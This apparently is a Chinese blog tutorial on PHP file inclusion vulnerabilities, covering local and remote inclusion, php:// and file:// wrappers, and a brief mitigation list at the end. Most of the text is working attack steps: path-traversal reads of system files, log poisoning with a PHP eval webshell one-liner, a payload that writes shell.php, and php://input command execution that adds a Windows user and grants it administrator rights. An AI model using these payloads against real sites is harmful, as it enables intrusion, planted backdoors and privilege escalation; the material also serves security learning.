美文网首页
4.文件包含漏洞

4.文件包含漏洞

作者: StormZang | 来源:发表于2017-12-20 15:23 被阅读0次

定义: 程序员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件的过程称为包含。

1.本地文件包含(LFI)

1.读取敏感信息

  • 查看boot文件信息:=../../boot.ini
  • 查看其他敏感信息:


    敏感信息.jpg

2.日志获取webshell

Apache日志:访问日志access.log,错误日志:error.log

  • 确认有本地包含漏洞后,查看日志=..\..\..\Program%20Files\phpStudy\Apache\logs\access.log
  • 通过burpsuite修改上传小马:GET / <?php @eval($_POST[1]);?>
  • 菜刀连接日志url,拿到shell

3.配合文件上传

  • 确认有本地文件包含漏洞,上传木马文件:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
  • 用菜刀连接

2.远程文件包含(RFI)

前提:目标主机的allow_url_fopen是激活的

1.远程文件包含shell

  • 用菜刀将有木马的网站连接在一起

3. PHP封装协议

1.读取文件

  • 读取当前目录下的phpinfo:=php://filter/read/resource=phpinfo.php
  • 进行base64编码(编码后不会被解析):=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 在hackbar下进行base64解码
  • 读取其他文件:=php://filter/read/resource=../../../../../boot.ini

2.读写文件
前提:allow_url_include为on

  • 发现文件包含漏洞,使用burpsuite:拦截: =php://input , 提交写入shell申请: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
  • 使用菜刀连接:http://www.any.com/FI/shell.php

3.命令执行

  • burpsuite 抓包改php://input, <?php system('net user');?>
  • 添加用户:<?php system('net user a a /add');?>
  • 提权为管理员:<?php system('net localgroup aministrator a /add');?>

4.file封装协议

读取文件:file://c:/boot.ini


PHP提供了四个文件包含函数:include(),include_once(),require,require_once()


5.防护方案

  • 严格判断包含中的参数是否外部可控
  • 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符如"../"
  • 包含文件验证:验证被包含文件是否是白名单的一员
  • 尽量不要用动态包含,可以在需要包含的页面固定写好如'include("head.php");'

相关文章

  • 4.文件包含漏洞

    定义: 程序员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无须再次编写,这种调用文件...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

  • 文件包含漏洞

    文件包含漏洞 产生的原因:通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 文件包含漏洞

    当allow_url_open=on allow_url_include=on 就会造成文件包含漏洞 http:/...

  • 文件包含漏洞

    一、文件包含漏洞简介 1、包含:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文...

网友评论

      本文标题:4.文件包含漏洞

      本文链接:https://www.haomeiwen.com/subject/qspgwxtx.html